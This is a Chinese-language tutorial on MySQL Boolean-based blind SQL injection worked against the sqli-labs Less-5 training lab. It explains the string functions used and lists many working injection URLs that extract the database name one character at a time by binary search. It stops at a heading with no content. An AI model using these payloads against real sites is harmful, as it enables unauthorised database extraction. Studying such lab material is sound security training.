mysql中布尔盲注总结
布尔盲注常用函数:
length()字符串长度判断
left(a,b)从左侧截取a的前b位
substr(a,b,c)从b位置开始,截取字符串a的c长度。
ascii()将某个字符转换成相应的ascii码值。
mid(a,b,c)从位置b开始,截取a字符串的c位
ord函数与ascii()函数类似,将某个字符转换成相应的ascii码值。
regrexp正则注入
limit使用方法:limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始表示第一条记录;n是指取n条记录。例如:limit 0,1表示从第一题记录开始,取一条记录。
布尔盲注实例
靶场为sqlilabs第五关
确定该处为sql盲注后,首先使用length()函数判断当前数据库的长度:
当猜解数据库database()长度错误时,页面没有返回you are in......如图:
当猜解数据库database()长度正确时,页面返回you are in......如图:
在判断database()的长度时,可以使用大于号和小于号>,
下面采用上述函数依次猜解数据库名:
left(a,b)从左侧截取a的前b位
1,left(database(),1)>‘a‘截取database()的第一个字符,与我们给出的字符进行比较,若页面返回you are in.......则说明我们判断正确,database()的第一个字符的ascii码大于我们给出的字符a的ascii码。
2,继续二分法判断
//判断database()的第一个字符的ascii码是否大于我们给出的字符n的ascii码。
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),1)>'n'--+
//判断database()的第一个字符的ascii码是否大于我们给出的字符t的ascii码
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),1)>'t'--+
//判断database()的第一个字符的ascii码是否大于我们给出的字符q的ascii码
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),1)>'q'--+
//判断database()的第一个字符的ascii码是否大于我们给出的字符r的ascii码
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),1)>'r'--+
//ascii码大于r小于t的只有s,即猜解成功。
3,依次进行如上判断,可以猜解出database()的第一个字符为s,接着继续猜解第二个字符:
//判断database()的第二个字符的ascii码是否大于我们给出的字符a的ascii码。
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'sa'--+
//判断database()的第二个字符的ascii码是否大于我们给出的字符n的ascii码。
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'sn'--+
//判断database()的第二个字符的ascii码是否大于我们给出的字符g的ascii码。
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'sg'--+
//判断database()的第二个字符的ascii码是否大于我们给出的字符d的ascii码。
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'sd'--+
//判断database()的第二个字符的ascii码是否大于我们给出的字符e的ascii码。
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'se'--+
依次进行如上判断,可以猜解出database()的第二个字符为e,接着继续猜解剩下的字符即可;
在实际渗透中可以借助python脚本进行盲注,或者使用sqlmap等sql注入工具进行注入。
ascii()将某个字符转换成相应的ascii码值。
//判断database()的第一个字符的ascii码值是否大于我们给出的ascii码值
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and ascii(left(database(),1))>114--+
ord函数与ascii()函数类似,将某个字符转换成相应的ascii码值。
//判断database()的第一个字符的ascii码值是否大于我们给出的ascii码值
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and ord(left(database(),1))>114--+
substr(a,b,c)从b位置开始,截取字符串a的c长度。
//substr(a,b,c)函数表示从a字符串的第b个字符开始,截取c个字符。b的最小值为1。
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and substr(database(),1,1)>'r'--+
//依次采用二分法查找即可
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and substr(database(),1,2)>'sd'--+
mid(a,b,c)从位置b开始,截取a字符串的c位
//mid(a,b,c)函数表示从a字符串的第b个字符开始,截取c个字符。b的最小值为1。
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and mid(database(),1,1)>'a'--+
//依次采用二分法查找即可
http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and mid(database(),1,8)>'securita'--+
regrexp正则注入